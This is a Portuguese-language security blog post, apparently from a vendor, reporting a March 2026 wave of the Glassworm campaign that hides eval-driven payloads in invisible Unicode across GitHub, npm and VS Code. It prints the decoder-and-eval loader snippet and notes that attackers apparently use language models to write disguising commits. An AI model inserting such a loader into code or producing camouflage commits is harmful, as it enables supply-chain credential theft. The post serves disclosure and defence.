A ameaça invisível que temos vindo a acompanhar há quase um ano está de volta. Enquanto a campanha PolinRider tem sido notícia por ter comprometido centenas de repositórios do GitHub, estamos a assistir, paralelamente, a uma nova onda de atividade do Glassworm que atinge o GitHub, o npm e o VS Code.
Em outubro do ano passado, escrevemos sobre como caracteres Unicode ocultos estavam a ser utilizados para comprometer repositórios do GitHub, tendo identificado que a técnica era da autoria de um agente malicioso chamado Glassworm. Este mês, o mesmo agente está de volta e, entre os repositórios afetados, encontram-se alguns nomes de destaque: um repositório da Wasmer, o Reworm e o opencode-bench da anomalyco, a organização por trás do OpenCode e do SST.
Campanha «Um Ano do Código Invisível»
- Março de 2025: Aikido descobre, Aikido , pacotes npm maliciosos que ocultam cargas maliciosas utilizando caracteres Unicode PUA
- Maio de 2025: Publicamos um artigo no blogue que detalha os riscos do Unicode invisível e como este pode ser utilizado indevidamente em ataques à Supply chain
- 17 de outubro de 2025: Detectamos extensões comprometidas no Open VSX utilizando a mesma técnica
- 31 de outubro de 2025: Descobrimos que os atacantes passaram a concentrar-se nos repositórios do GitHub
- Março de 2026: Surge uma nova onda de ataques em massa: centenas de repositórios do GitHub são comprometidos, com o npm e o VS Code também afetados.
Uma breve revisão
Antes de nos debruçarmos sobre a dimensão desta nova onda, vamos recapitular como funciona este ataque. Mesmo após meses de cobertura mediática, continua a apanhar os programadores e as ferramentas desprevenidos.
O truque baseia-se em caracteres Unicode invisíveis: fragmentos de código que não são exibidos em praticamente nenhum editor, terminal ou interface de revisão de código. Os atacantes utilizam esses caracteres invisíveis para codificar uma carga maliciosa diretamente no interior do que parece ser uma cadeia de caracteres vazia. Quando o ambiente de execução JavaScript a encontra, um pequeno descodificador extrai os bytes reais e os transmite para eval().
Eis como se apresenta a injeção. Lembre-se de que o espaço aparente nas crases invertidas vazias abaixo está longe de estar vazio:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));A cadeia de caracteres entre crases passada para s() parece vazio em qualquer visualizador, mas está repleto de caracteres invisíveis que, uma vez descodificados, produzem uma carga maliciosa completa. Em incidentes anteriores, essa carga descodificada descarregava e executava um script de segunda fase utilizando a Solana como canal de distribuição, capaz de roubar tokens, credenciais e secrets.
A dimensão da onda de março de 2026
Estamos a observar uma campanha em grande escala levada a cabo pelo grupo de cibercriminosos Glassworm, que se está a espalhar por repositórios de código aberto. Uma pesquisa de código no GitHub pelo padrão do descodificador apresenta, neste momento, pelo menos 151 repositórios correspondentes, e esse número subestima a verdadeira dimensão do problema, uma vez que muitos dos repositórios afetados já tinham sido eliminados à data da redação deste artigo. As invasões no GitHub parecem ter ocorrido entre 3 e 9 de março.

A campanha também se expandiu para além do GitHub. Estamos agora a assistir à utilização da mesma técnica no npm e no marketplace do VS Code, o que sugere que o Glassworm está a levar a cabo uma ofensiva coordenada que abrange vários ecossistemas. Isto está em consonância com o padrão histórico do grupo de alternar entre diferentes registos.
Repositórios comprometidos de destaque no GitHub
Entre os repositórios que identificámos, vários pertencem a projetos bem conhecidos com um número significativo de estrelas, o que os torna alvos de grande valor para o impacto na cadeia de abastecimento a jusante:
Camuflagem assistida por IA
Como referimos no nosso artigo de outubro, as injeções maliciosas não surgem em commits manifestamente suspeitos. As alterações circundantes são realistas: ajustes na documentação, atualizações de versão, pequenas refatorações e correções de erros que são estilisticamente consistentes com cada projeto alvo.
Este nível de personalização específica para cada projeto sugere fortemente que os atacantes estão a utilizar modelos de linguagem de grande dimensão para gerar alterações de código de fachada convincentes. Na escala que estamos a observar atualmente, a elaboração manual de mais de 151 alterações de código personalizadas em diferentes bases de código simplesmente não é viável.
Detecção e Proteção
As ameaças invisíveis exigem defesas ativas. Não se pode confiar na revisão visual do código ou na verificação de conformidade padrão para detetar o que não se consegue ver. Na Aikido, integrámos a deteção de injeções Unicode invisíveis diretamente no nosso fluxo de análise de malware.
Se já utiliza Aikido, estes pacotes serão assinalados no seu feed como uma falha crítica 100/100.

Aikido não está no Aikido ? Crie uma conta gratuita e vincule os seus repositórios. O plano gratuito inclui a nossa cobertura de deteção de malware (não é necessário cartão de crédito).
Por fim, uma ferramenta capaz de bloquear malware de cadeia de abastecimento em tempo real, à medida que este surge, pode evitar uma infeção grave. Esta é a ideia subjacente Aikido Chain, uma ferramenta gratuita e de código aberto que integra o npm, o npx, o yarn, o pnpm e o pnpx e recorre tanto à IA como a investigadores humanos especializados em malware para detetar e bloquear os mais recentes riscos de cadeia de abastecimento antes que estes entrem no seu ambiente.
{{cta}}

